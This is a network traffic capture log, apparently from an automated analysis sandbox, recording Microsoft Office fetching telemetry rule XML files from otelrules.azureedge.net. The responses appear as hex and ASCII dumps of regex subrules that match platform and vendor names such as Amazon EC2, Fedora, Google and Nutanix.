2024-11-05 09:13:25 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49763	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:25 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:25 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 26055832-201e-0096-545c-2eace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091325Z-157b9fd754fkv446hC1SN1wybs000000048g0000000023vf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:25 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49764	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:25 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:25 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 2398c3f1-501e-007b-7e8e-2d5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091325Z-158dbd74bf4rjfxfhC1SN1a43800000003qg0000000041ty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:25 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49765	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:25 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:25 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 1511aab4-801e-0015-535c-2ef97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091325Z-158dbd74bf4x6xt2hC1SN1quas00000003vg000000003dch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:27 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49766	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:25 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:25 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: f5f9e784-f01e-0071-765c-2e431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091325Z-158dbd74bf4cvrq6hC1SN1zhyc00000003s0000000001mpq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:27 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49767	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:26 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 8dd7d181-c01e-0066-495f-2ea1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091326Z-158dbd74bf492xzchC1SN15kfc00000003r0000000001zuc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49768	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:27 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:27 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: d322b4d6-001e-0082-4b4d-2e5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091327Z-157b9fd754fnxhv5hC1SN14xvn000000044g0000000052uy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49769	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:27 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 94271b33-901e-0067-284a-2eb5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091327Z-157b9fd754fqtvfchC1SN1b6mc000000046g000000000ht4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49770	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:27 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:27 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 0b038753-501e-0016-3e53-2e181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091327Z-157b9fd754fnmqw2hC1SN10ngs00000004600000000069rq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49772	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:27 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:27 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 0386ab83-901e-007b-1455-2eac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091327Z-158dbd74bf4t6r4bhC1SN162bw00000003u00000000000we x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49771	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:27 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: c005f6c1-a01e-003d-4d3f-2e98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091327Z-158dbd74bf4cvrq6hC1SN1zhyc00000003tg000000000ekt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49773	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:28 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 6a120a4b-401e-0078-724b-2e4d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091328Z-158dbd74bf4rjfxfhC1SN1a43800000003ng000000006505 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49774	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:28 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
